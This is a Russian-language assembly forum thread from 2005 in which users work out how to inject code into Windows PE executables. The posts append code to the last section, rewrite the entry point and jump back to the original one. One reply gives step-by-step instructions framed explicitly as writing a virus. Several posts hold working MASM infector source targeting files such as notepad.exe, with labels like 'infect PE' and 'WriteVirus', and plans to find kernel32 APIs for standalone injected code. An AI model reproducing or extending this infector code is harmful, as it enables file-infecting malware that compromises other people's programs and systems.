? Update "PE" ?

Тема в разделе "WASM.BEGINNERS", создана пользователем TViT, 17 июн 2005.

  1. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    Хело всем!

    Люди короче у меня почти тупик! Мне надо добавить код в расширенную на размер кода последнюю секцию у меня там

    пока просто переход на точку входа т.е.прыжок на оригинальную точку входа. Так вот я незнаю что сделать нужно чтоб все работало. Там неправильно я что-то делаю с записью перехода в расширенную секцию прога падает,

    может с адресом надо что-то делать, потому что прога при падении говорит что-то типа - у тя адресс большой

    точки входа вылезает за пределы. Немогу понять принцип прям по шагам что нада сделать чтоб был рабочий минимум

    желательно на ентом примере т.к. он попроще чем всякие с ФайлМэпингом и т.д.

    Код (Text):
    1.  
    2. .386
    3. .model flat,stdcall
    4. option casemap:none
    5.             ;...Include....
    6. .data?
    7. ComLine                 db 512 dup (?)
    8.  
    9. .code
    10. WinM    Proc  ;--------------------------------------------------------------------- ------------
    11.         LOCAL OEP:DWORD
    12.         LOCAL StCode:DWORD
    13.         LOCAL AddPE_OEP:DWORD
    14. ;--------------------------------------------------------------------- --------------------------
    15.     invoke GetCommandLine
    16.     invoke PathGetArgs,eax
    17.             lea edi,ComLine     ;Приемник строки - ComLine
    18.             mov esi,eax         ;Источник строки - eax=esi
    19. NewSymb:        lodsb
    20.             cmp al,34
    21.             je NewSymb
    22.             cmp al,0
    23.             je ExtSymbFunc
    24.             stosb
    25.             jmp NewSymb
    26. ExtSymbFunc:
    27. ;_______CODE for Update PE____________________________________________________________________ _
    28.             mov ebp,esp
    29. invoke CreateFile,addr ComLine,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,NU LL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
    30.             inc eax                            
    31.             jz Exit                
    32.             dec eax  
    33.             push eax
    34.         invoke GetFileSize,eax,0
    35.             add eax,1000h
    36.             push eax
    37.         invoke GlobalAlloc,GMEM_FIXED,eax
    38.             push eax
    39.             push 0  ;-----------------------;/overlapped buffer
    40.             push esp                        ;|number of bytes read      
    41.             push dword ptr [ebp-2*4]    ;|Кол-во байт для чтения
    42.             push eax                        ;|Буфер для прочитанных данных
    43.             push dword ptr [ebp-1*4]    ;|File Handle
    44.         call ReadFile               ;\----------------------------
    45.             or eax,eax                        
    46.             jz  CloseFile
    47. ;--------------------------------------------|Search Section and Modified
    48.             mov edi,[esp]               ; "MZ" 
    49.             add edi,[edi+03Ch]          ; "PE"
    50.             mov ecx,edi
    51.             add ecx,028h
    52.             mov AddPE_OEP,ecx           ; Save AddPE_OEP Address
    53.             mov ecx,[edi+028h]          ; Save OEP address Value
    54.             mov OEP,ecx
    55.             movzx ecx,word ptr[edi+06h] ; Number of Sections
    56.             movzx esi,word ptr[edi+014h]; size of IMAGE_OPTIONAL_HEADER
    57.             lea esi,[edi+018h+esi]      ; esi= "PE" + FILE_HEADER + OPTIONAL_HEADER (78h)
    58.             mov edx,[esi+0Ch]           ; Virtual Address this Section
    59.             mov ebx,[esi+014h]          ; Pointer to RAW-data first Section
    60.             push esi
    61.             push esi
    62. HiPhysOffs: cmp ebx,[esi+014h]          ;Если оно меньше, чем в наибольшем, то...
    63.             ja HiVirtRVA
    64.             mov ebx,[esi+014h]          ;Иначе, примем за наибольшее
    65.             mov [esp],esi               ;и сохраним смещение элемента
    66. HiVirtRVA:  cmp edx,[esi+0Ch]           ;Аналогично, но с Virtual RVA
    67.             ja NewElement
    68.             mov edx,[esi+0Ch]
    69.             mov [esp+4],esi
    70. NewElement: add esi, 28h                 ;...следующий элемент
    71.             loop HiPhysOffs
    72.             pop esi
    73.             pop edi
    74.             cmp esi,edi
    75.             jne CloseFile
    76.             mov edi,[esp]
    77.             mov edx,[esi+010h]          ;Size of RAW-data end Section
    78.             or edx, edx
    79.             jz CloseFile
    80. ;----------_Update----------------------
    81.             push esi                ;Save VA жертвы
    82.             push edi
    83.             or dword ptr [esi + 24h],0A0000020h ; новая хар.-ка секции
    84.             mov ecx,dword ptr InSectionSize     ;Размер записываемого кода
    85.             add edi,ebx                         ;VA последней секции жертвы
    86.             add edi,[esi+010h]      ;Теперь edi указывает на конец последней секции
    87.             mov StCode,edi                 
    88.             lea esi,Start
    89.             rep movsb
    90. ;----------_Write New Entry Point_--------------
    91.             mov edi,AddPE_OEP               ; Address Old OEP
    92.             mov esi,StCode                  ; Address New Entry Point
    93.             mov [edi],esi                   ; Write New Entry Point
    94.             pop edi                     ; edi="MZ"
    95.             pop esi                     ; esi=.rsrc (End Section)
    96. AlgnPhSz:   add dword ptr [esi+010h],dword ptr InSectionSize    ;Увеличим физ. размер секции
    97.             mov eax,[edi+03Ch]
    98.             dec eax
    99.             add [esi+010h],eax
    100.             not eax
    101.             and [esi+010h],eax
    102. AlgnVrSz:   add edi,[edi+03Ch]                  ;Aligned the virtual size (VA PE Header)
    103.             mov ecx,[esi+08h]
    104.             jecxz PtchImSz
    105.             add dword ptr [esi+08h],dword ptr InSectionSize ;Увеличим вирт. размер секции
    106.             mov eax,[edi+038h]
    107.             dec eax
    108.             add [esi+08h],eax
    109.             not eax
    110.             and [esi+08h],eax
    111. PtchImSz:   mov eax,[esi+0Ch]           ;ImageSize=VA(Last section) + VSize(Last cection)
    112.             add eax,[esi+08h]
    113.             mov [edi+050h],eax          ; Image Size
    114. _WriteFile: xor esi,esi
    115.             push esi
    116.             push esi
    117.             push esi
    118.             push dword ptr [ebp-1*4]        ;File Handle
    119.         call SetFilePointer
    120.             push esi
    121.             push esp
    122.             push dword ptr [ebp-2*4]        ;File Size
    123.             push dword ptr [ebp-3*4]        ;Allocation memory
    124.             push dword ptr [ebp-1*4]        ;File Handle
    125.         call WriteFile
    126. ;--------------------------------------------------------------------- -------------------------
    127. CloseFile:  push dword ptr [ebp-1*4]        ;File Handle
    128.         call CloseHandle
    129.             push dword ptr [ebp-3*4]        ;Allocation memory
    130.         call GlobalFree
    131. Exit:   invoke ExitProcess,0
    132.  
    133. Start:
    134.         jmp [OEP]           ; типа прыгаем на сохраненный адрес входа
    135. InSectionSize       equ $-Start                
    136. ;--------------------------------------------------------------------- -------------------------
    137. WinM endp
    138. End WinM
    139.  
     
  2. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Afaik нужно расширить размер Image, IMO программа грузиться в память по нему, это даже важнее секций.
     
  3. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    Ну а по точнее ?!



    Я так понял ты про это говоришь -> mov eax,[edi+34h] ; Получаем базу обpаза



    А дальше куда ету базу девать!? Что к ней прибавлять? И что только в этом и дело?
     
  4. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    Ну неужель ни у кого нет простейшего рабочего примера что и как надо делать!

    Я пробовал вот ето СТАТЬИ > Вирусология "Инфектор PE-файлов"(Bill/TPOC 2005) там тоже самое выход за

    какие то пределы точки входа, короче прога вылетает не запустившись!
     
  5. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Да не база а image size - из файла загружаеться столько сколько он показывает (afaik), добвленые байты которые находяться за пределами этого значения в память не загружаються, а у тебя их много (никогда столько не добавлял). Чтоб проверить нужно что-то типо софтайса.
     
  6. SiruS

    SiruS Алекс

    Публикаций:
    0
    Регистрация:
    19 фев 2005
    Сообщения:
    145
    Адрес:
    Львов
    TViT



    Вот, вот и у меня таже проблема, даже с автором пытался связаться по аське, а он не отвечает, боится видимо ;)
     
  7. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Добавление кода в конец:



    1)проверить физическую и виртуальную длину последней секции:

    если физическая длина окажется больше виртуальной, не трогать такой файл;

    также не трогайте файл если какая-либо из длин нулевая

    2)старую точку входа сохранить внутрь вируса;

    3)вычислить виртуальный адрес вируса в файле;

    это будет

    физический_адрес_конца_последней_секции транслированный_в_виртуальный;

    добавив к нему VirusEntryPoint-VirusStart записать это дело в

    RVA точки входа (внутри PE-заголовка)

    4)по физическому_адресу_конца_последней_секции записать вирусный код

    5) физическую и виртуальную длины вируса округлить по

    FileAlignment и ObjectAlignment, взятым из PE-заголовка

    6) физическую длину последней секции -- увеличить на физическую длину вируса

    7) виртуальную длину последней секции -- увеличить на виртуальную длину вируса

    8) поле SizeOfImage внутри PE-заголовка -- установить равным

    виртуальному_адресу_начала_последней_секции +

    виртуальной_длине_последней_секции
     
  8. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    zzzyab

    Пример есть давай посмотрю! Секция у мя и так все нормально создаетси и варавниваетси!

    А вот с прыжком обратно тупик!
     
  9. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Исправленный вариант

    Пример внедрятеля кода: испытано на нескольких PE exe файлах - работает. Файл и код вводится вручную, можно усовершенствовать чтобы внедрялася код из другого exe

    В этом примере внедряеться 6 нопов

    еще есть недоработки - с арихивными exe не работает


    Код (Text):
    1.  
    2. .486
    3. .model flat
    4. include kernel.inc
    5. include user.inc
    6.  
    7.  
    8. err_opn_src equ 4   ;oshibka otkritia
    9. err_rd_src  equ 8   ;oshibka chtenia
    10. err_srcnexe equ 12  ;ne exe fail
    11. err_srcnpe  equ 16  ;ne pe format
    12. err_srcnia86    equ 20  ;ne Intel386
    13. err_nfmsect equ 24  ;nelza vnedrit kod (IMO)
    14.  
    15. .code
    16. public _start
    17. _err:
    18.     mov ecx,offset str_err
    19.     push    MB_OK+MB_ICONERROR
    20.     push    ecx
    21.     push    ecx
    22.     push    ebx
    23.     call    MessageBox
    24.  
    25.     ret
    26.  
    27. _start:
    28.     xor ebx,ebx
    29.     mov eax,fsrc
    30.     push    ebx
    31.     push    FILE_FLAG_SEQUENTIAL_SCAN+FILE_ATTRIBUTE_NORMAL
    32.     push    OPEN_EXISTING
    33.     push    ebx
    34.     push    FILE_SHARE_READ
    35.     push    GENERIC_READ+GENERIC_WRITE
    36.     push    eax
    37.     call    CreateFile
    38.     cmp eax,-1
    39.     jnz @f
    40.     mov esi,err_opn_src
    41.     jmp _err
    42. @@:
    43.  
    44.     mov hfsrc,eax
    45.  
    46.     sub esp,1024
    47.       mov     edi,esp
    48.       mov     esi,edi
    49.       add     esi,8
    50.     push    ebx
    51.       push    edi
    52.     push    40h
    53.       push    esi
    54.     push    eax
    55.     call    ReadFile
    56.     test    eax,eax
    57.     jnz @f
    58. _err_rs:
    59.     mov ecx,err_rd_src
    60. _err_cf:
    61.     add esp,1024
    62.     mov esi,ecx
    63.     mov eax,hfsrc
    64.     push    eax    
    65.     call    CloseHandle
    66.     jmp _err
    67. @@:
    68.       mov   edx,[edi]
    69.     test    edx,edx
    70.     jz  _err_rs
    71.       cmp   word ptr [esi],'ZM'
    72.     mov ecx,err_srcnexe
    73.     jnz _err_cf
    74.       mov   edx,[esi+3ch]
    75.       mov   [edi],ebx
    76.     push    FILE_BEGIN
    77.     mov eax,hfsrc
    78.       push  edi
    79.     push    edx
    80.     push    eax
    81.     call    SetFilePointer
    82.     push    ebx
    83.     mov eax,hfsrc
    84.       push  edi
    85.     push    1016
    86.       push  esi
    87.     push    eax
    88.     call    ReadFile
    89.     test    eax,eax
    90.     jz  _err_rs
    91.       mov   edx,[edi]
    92.     test    edx,edx
    93.     jz  _err_rs
    94.     mov ecx,err_srcnpe
    95.       mov   eax,[esi]
    96.     cmp eax,4550h
    97.     jnz _err_cf
    98.       cmp   word ptr [esi+4],14ch
    99.     mov ecx,err_srcnia86
    100.     jnz _err_cf
    101.     mov ecx,[esi+6]
    102.     and ecx,0ffffh
    103.     xor edx,edx
    104.     add esi,248
    105.     mov eax,ecx
    106.     shl eax,5
    107.     add edx,eax
    108.     mov eax,ecx
    109.     shl eax,3
    110.     add edx,eax ;[b]количество секций умноженное на 0х28[/b]
    111.     mov [edi],edx
    112.     mov [edi+4],edx
    113. repsect:;[b]поиск секций с наибольшим RVA и оffset[/b]
    114.     sub edx,28h
    115.     jz  endrepsect
    116.     mov eax,[esi+edx+12]
    117.     cmp eax,[esi+edx-28h+12]
    118.     ja  @f
    119.     mov [edi],edx
    120. @@:
    121.     mov ecx,[esi+edx+14h]
    122.     cmp ecx,[esi+edx-28h+14h]
    123.     ja  repsect
    124.     mov [edi+4],edx
    125.     jmp repsect
    126. endrepsect:
    127.     mov edx,[edi]
    128.     cmp edx,[edi+4] ;[b] должна быть одна и таже секция ццц  
    129. [/b]
    130.     jz  fmsect
    131.     mov ecx,err_nfmsect
    132.     jmp _err_cf
    133. fmsect:
    134.     mov eax,sizeof ins_code ;[b]вычисления РВА для переходов и изменения в секции[/b]
    135.     add eax,5
    136.     mov ecx,[esi+edx-28h+8]
    137.     add [esi+edx-28h+8],eax
    138.     add [esi+edx-28h+16],eax
    139.     add [esi-248+50h],eax
    140.     mov ebx,[esi+edx-28h+14h]
    141.     add ebx,ecx
    142.     push    ebx
    143.     mov ebx,[esi+edx-28h+12]
    144.     sub ebx,[esi+edx-28h+14h]
    145.     push    ebx
    146.     mov ebx,[esi+edx-28h+12]
    147.     add ebx,ecx
    148.     add ebx,eax
    149.     or  byte ptr [esi+edx-1],60h
    150.     mov ecx,[esi-248+28h]
    151.     sub ecx,ebx
    152.     lea edx,ins_end
    153.     xor ebx,ebx
    154.     mov byte ptr [edx],0e9h
    155.     mov [edx+1],ecx
    156.     pop eax ;[b]запись нового заголовка[/b]
    157.     mov edx,[esp]
    158.     add eax,edx
    159.     mov [esi-248+28h],eax
    160.     sub esi,248
    161.     mov edx,-1
    162.     mov   [edi],edx
    163.     push    FILE_CURRENT
    164.     mov ecx,hfsrc
    165.       push  edi
    166.     push    -1016
    167.     push    ecx
    168.     call    SetFilePointer
    169.     mov   [edi],ebx
    170.     push    ebx
    171.     mov eax,hfsrc
    172.       push  edi
    173.     push    1016
    174.       push  esi
    175.     push    eax
    176.     call    WriteFile
    177.     test    eax,eax
    178.     jnz @f
    179.     add esp,4
    180.     jmp _err_rs
    181. @@:
    182.       mov   edx,[edi]
    183.     test    edx,edx
    184.     jnz @f
    185.     add esp,4
    186.     jmp _err_rs
    187. @@:
    188.     pop edx ;[b]Запись внедряемого кода[/b]
    189.     mov [edi],ebx
    190.     push    FILE_BEGIN
    191.     mov eax,hfsrc
    192.       push  edi
    193.     push    edx
    194.     push    eax
    195.     call    SetFilePointer
    196.     lea esi,ins_code
    197.     mov ecx,sizeof ins_code
    198.     add ecx,5
    199.     push    ebx
    200.     mov eax,hfsrc
    201.       push  edi
    202.     push    ecx
    203.       push  esi
    204.     push    eax
    205.     call    WriteFile
    206.     test    eax,eax
    207.     jz  _err_rs
    208.       mov   edx,[edi]
    209.     test    edx,edx
    210.     jz  _err_rs
    211.     mov ecx,hfsrc
    212.     push    ecx    
    213.     call    CloseHandle
    214.     add esp,1024
    215.     ret
    216.  
    217. .data
    218.  
    219. fsrc    dd offset fname
    220. fname   db 'notepad.exe',0
    221. str_err db 'Error',0
    222.  
    223. ins_code db 90h,90h,90h,90h,90h,90h
    224. ins_end db 5 dup(0)
    225.  
    226. .data?
    227. align 4
    228. hfsrc   dd ?
    229. end
    230.  
    231.  
     
  10. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    О спасиба посмотрю!



    Все я разобрался там я неправильно точку входа записывал и переход на старую надо было не в стеке сохранять,

    а в добавляемый кусок иначе он пытается из стека взять старую точку входа, а там ее естественно нету!

    Теперь надо с kernel32 мутить. Искать API и юзать.



    Вот код:



    .386

    .model flat,stdcall

    option casemap:none

    include windows.inc

    include user32.inc

    include advapi32.inc

    include kernel32.inc

    include shlwapi.inc



    includelib advapi32.lib

    includelib kernel32.lib

    includelib shlwapi.lib

    includelib user32.lib



    .data?

    ComLine db 512 dup (?)



    .data

    JmpOEP db 0b8h

    OEP dd 0 ; mov eax,OEP

    dw 0E0FFh ; jmp near eax

    AddInSecSize equ $-JmpOEP





    .code

    WinM Proc ;--------------------------------------------------------------------- ------------

    LOCAL OldEPAddr:lol: WORD

    LOCAL ImgBase:lol: WORD

    ;--------------------------------------------------------------------- --------------------------

    invoke GetCommandLine

    invoke PathGetArgs,eax

    lea edi,ComLine ;Приемник строки - ComLine

    mov esi,eax ;Источник строки - eax=esi

    NewSymb: lodsb

    cmp al,34

    je NewSymb

    cmp al,0

    je ExtSymbFunc

    stosb

    jmp NewSymb

    ExtSymbFunc:

    ;_______CODE for infect PE____________________________________________________________________ _

    mov ebp,esp

    invoke CreateFile,addr ComLine,GENERIC_READ+GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,NU LL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL

    inc eax

    jz Exit

    dec eax

    push eax

    invoke GetFileSize,eax,0

    add eax,0100h

    push eax

    invoke GlobalAlloc,GMEM_FIXED,eax

    push eax

    push 0 ;-----------------------;/overlapped buffer

    push esp ;|number of bytes read

    push dword ptr [ebp-2*4] ;|Кол-во байт для чтения

    push eax ;|Буфер для прочитанных данных

    push dword ptr [ebp-1*4] ;|File Handle

    call ReadFile ;\----------------------------

    or eax,eax

    jz CloseFile

    ;---------|_PE Struc Update_|-----------;Search Section and Modified

    mov edi,[esp] ; "MZ"

    add edi,[edi+03Ch] ; "PE"

    mov ecx,edi

    add ecx,028h

    mov OldEPAddr,ecx ; Save OEP Address

    mov ecx,[edi+028h] ; Save OEP Value

    mov edx,dword ptr[edi+034h] ; Save ImageBase

    add edx,ecx

    mov OEP,edx ; Original Entry Point=ImageBase(034h)+VA_OEP(028h)

    movzx ecx,word ptr[edi+06h] ; Number of Sections

    movzx esi,word ptr[edi+014h]; size of IMAGE_OPTIONAL_HEADER

    lea esi,[edi+018h+esi] ; esi= "PE" + FILE_HEADER + OPTIONAL_HEADER (78h)

    mov edx,[esi+0Ch] ; Virtual Address this Section

    mov ebx,[esi+014h] ; Pointer to RAW-data first Section

    push esi

    push esi

    HiPhysOffs: cmp ebx,[esi+014h] ;Если оно меньше, чем в наибольшем, то...

    ja HiVirtRVA

    mov ebx,[esi+014h] ;Иначе, примем за наибольшее

    mov [esp],esi ;и сохраним смещение элемента

    HiVirtRVA: cmp edx,[esi+0Ch] ;Аналогично, но с Virtual RVA

    ja NewElement

    mov edx,[esi+0Ch]

    mov [esp+4],esi

    NewElement: add esi, 28h ;Next Section

    loop HiPhysOffs

    pop esi

    pop edi

    cmp esi,edi

    jne CloseFile

    mov edi,[esp]

    or edx, edx

    jz CloseFile

    ;---------|_WriteVirus_|----------------------

    push esi ;Save VA жертвы

    push edi

    mov dword ptr [esi + 24h],0C0000040h

    mov ecx,AddInSecSize ;Размер записываемого кода

    add edi,ebx ;VA последней секции

    add edi,[esi+010h] ;edi указывает на конец последней секции

    mov edx,[esi+010h] ;Size of RAW-data end Section

    add edx,[esi+0Ch] ;VAddr NewEP вот тут и была проблема!

    lea esi,JmpOEP

    rep movsb

    mov edi,OldEPAddr ; Address Old OEP for Write New EP

    mov [edi],edx ; Write New Entry Point

    pop edi ; Pointer to End Section

    pop esi ; Pointer to End Section

    ;---------|_Align_|---------------------------

    AlgnPhSz: add dword ptr [esi+010h],AddInSecSize ;Увеличим физ. размер секции

    mov eax,[edi+03Ch]

    dec eax

    add [esi+010h],eax

    not eax

    and [esi+010h],eax

    AlgnVrSz: add edi,[edi+03Ch] ;Aligned the virtual size (VA PE Header)

    mov ecx,[esi+08h]

    jecxz PtchImSz

    add dword ptr [esi+08h],AddInSecSize ;Увеличим вирт. размер секции

    mov eax,[edi+038h]

    dec eax

    add [esi+08h],eax

    not eax

    and [esi+08h],eax

    PtchImSz: mov eax,[esi+08h] ;VSize(Last cection)

    add eax,[esi+0Ch] ;ImageSize=VSize(Last section) + VAddress(Last cection)

    mov [edi+050h],eax

    _WriteFile: xor esi,esi

    push esi

    push esi

    push esi

    push dword ptr [ebp-1*4] ;File Handle

    call SetFilePointer

    push esi

    push esp

    push dword ptr [ebp-2*4] ;File Size

    push dword ptr [ebp-3*4] ;Allocation memory

    push dword ptr [ebp-1*4] ;File Handle

    call WriteFile

    ;-------|_End_|------------------------------------------------------- --------------------------

    CloseFile: push dword ptr [ebp-1*4] ;File Handle

    call CloseHandle

    push dword ptr [ebp-3*4] ;Allocation memory

    call GlobalFree

    ;invoke WinExec,addr ComLine,SW_SHOWDEFAULT

    Exit: invoke ExitProcess,0

    WinM endp

    End WinM



    +------------------------------------+

    |----------------.End ---------------|

    +------------------------------------+



    Еще вопросик почему MASM32 ругается на метку когда код располагаеться в сегменте данных,а для TASM32 енто видимо пофигу?

    Например:

    .data

    Start: ;вот на старт MASM32 и ругается!



    push offset mess ; Выводим сообщение об

    call printf ; использовании программы

    pop eax

    call commandline ; Получаем argv[1]

    call attach ; Усиливаем файл

    push 0 ;

    call ExitProcess ; Завершение процесса

    ;---------------------------------- Тут же данные

    mess db '-->:)---',0

    dat2 dd 0



    .code

    nop

    nop

    end Start
     
  11. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    Блин поправочка чтоб пример работал - перенесите переменную 'OldEPAddr' которая в примере локальная в секцию данных

    ,а то она затирает в стеке данные и неработает пример.
     
  12. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    зачем читать в память весь файл ?

    У тебя есть алгоритм запуска kernel ?

    Как быть с разными winzipaми - как правильно переносить архивные данные ?





    И еще: в data нельзя задавть метки знаком ':',только db,dw,dd ... - такие правила масма.
     
  13. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    zzzyab

    1]

    Я так понял файл весь загоняется в память+размер добавки потом в памяти изменяется и с нуля записавается весь, уже модифицированный обратно.

    Это пока неважно как что там делаетси надо разобраться что надо делать для минимума меня пока выводит то что нельзя в данных располагать код в MASM32 было бы проще с переходом на Old Entry Point.

    2]

    Только начал над ним думать смареть статьи исходники и т.д. Вот тут намана написано [W A S M . R U] СТАТЬИ > Вирусология > От зеленого к красному: Глава 1: Память. База kernel32.dll. Адреса API-функций. Дельта-смещение. >:))



    3]

    Про SFX-архивы еще не знаю :) нада попробовать новую секцию как AsPack делать и пребивать отчку входа, можт прокатить! :)
     
  14. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    ИМО самый подходящий вариант искать kernel через стэк и на фиксирываные значения не надеяться. Еесли напрягает .data выкинь и все делай в .сode а переменные назначай в стэк. Все равно внедряемый код нужно делать именно таким методом, не будеш же вводить вручную машинные команды.

    Во всех SFX архив находиться сразу после еxe, добавление секции ИМО неудачная идея, куда добавлять в конец архива ?
     
  15. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    zzzyab



    Какой стек что ты из него возьмешь? Если оригинальную точку входа нужно сохранить именно в данных которые внедряются в секцию в ентом то и проблема посмотри пример:

    .data

    JmpOEP db 0b8h ;это машинный код 'mov eax, следующие даные' т.е. OEP

    OEP dd 0 ;а вот сюда и сохраняется старая точка входа+ImageBase короче у мя в отладчике 401000h

    dw 0E0FFh ; jmp near eax вот теперь прыгаем назад на 401000h

    AddInSecSize equ $-JmpOEP



    В секцию .code незя писать а то конечно сделал бы в ней!

    типа так:

    .code

    JmpOEP: mov eax,OEP ;Вот и приходится ентот кусок

    jmp eax ;делать по байтам в кодах

    OEP dd 0 ;

    AddInSecSize equ $-JmpOEP



    А когда прога запускаеться с 0b8h который находится в JmpOEP то стек то чист этож совсем другаю программа причев нада делать еще и независимую от API и искать их через kernel32!

    ----------------

    А зачем вручную я уже прогу заделал которая прям коды переводит в формат Asm вставил в нее из сикции кода

    Hex-данные и она их например вот так шлеп!

    db 0E8h,045h,000h,000h,000h,050h,0E8h,02Dh,000h,000h,000h,08Dh,03Dh,078h, 030h,040h,000h,08Bh

    db 0F0h,0ACh,03Ch,022h,074h,0FBh,03Ch,000h,074h,003h,0AAh,0EBh,0F4h,06Ah, 040h,068h,000h,030h

    db 040h,000h,068h,078h,030h,040h,000h,06Ah,000h,0E8h,00Ch,000h,000h,000h, 050h,0E8h,00Ch,000h

    db 000h,000h,0FFh,025h,00Ch,020h,040h,000h,0FFh,025h,014h,020h,040h,000h, 0FFh,025h,004h,020h

    db 040h,000h,0FFh,025h,000h,020h,040h,000h,000h,000h,000h,000h,000h,000h, 000h,000h,000h,000h

    db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h, 000h,000h,000h,000h

    остается тока вставить и компилить!

    Хрен с етими SFX потом надо об ентом думать а не распылять силы. :))
     
  16. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Страно зачем ты вообще делаеш такие извратные махинации с mov eax и т.д.



    У тебя есть прога заделаная, но у других же нету.
     
  17. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    А можно в masm'e например свойства секции ставить как в Fasm'e например:



    include 'E:\CODING\FASM\INCLUDE\win32ax.inc'



    section '.text' writeable readable

    start:

    invoke MessageBox,HWND_DESKTOP,"!Hello! :))","Win32 Assembly",MB_OK

    invoke ExitProcess,0



    .end start



    или что-то подобное???
     
  18. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Да, но я без справки сам не знаю. в seсtion нужно больше параметров - найду справку отвечу



    Я всегда програмил на масме, разные fasmы IMO антисоветчина.
     
  19. zzzyab

    zzzyab New Member

    Публикаций:
    0
    Регистрация:
    13 май 2004
    Сообщения:
    115
    Все оказалась проще, даже не нужно задавать model
    Код (Text):
    1.  
    2. .386
    3. public _start
    4. RWsect01 segment
    5. _start:
    6.         mov     ddd,1
    7.         jmp     xxx
    8. ddd     dd ?
    9. xxx:
    10.         ret
    11. RWsect01 ends
    12. end
    13.  
     
  20. TViT

    TViT New Member

    Публикаций:
    0
    Регистрация:
    21 июн 2004
    Сообщения:
    25
    Попробую по твоему, а такие извращения и нужны чтобы в секции данных код расположить и записать точку входа старую чтоб в конце прыгнуть обратно. А по твоему коду я чета не догнал куда он RET'ит,так еще понятнее например:

    mov [esp],OEP ;Original Entry Point

    ret

    А я уже на TASM и FASM переделал все,везде пробую! Ж:))

    ;-------------------------------------------

    FASM мне понравился если честно, там все в одной секции и код и данные удобно сам несколько проходов делает при компиляции ваще полная свобода пиши как хошь короче, можт и масм тоже умеет все енто делать мне просто кажется урезали там для стабильности многое.Данные сначала надо располагать чтоб он потом понял что за переменные может это тоже лечится у TASM например ключ вроде /m3 т.е. 3 прохода за которые он и поймет где и что,у масма я непонял где что-то подобное.

    ;-------------------------------------------

    Где б мне такую справочку взять по масму в стандартных хелпах вместе с ним???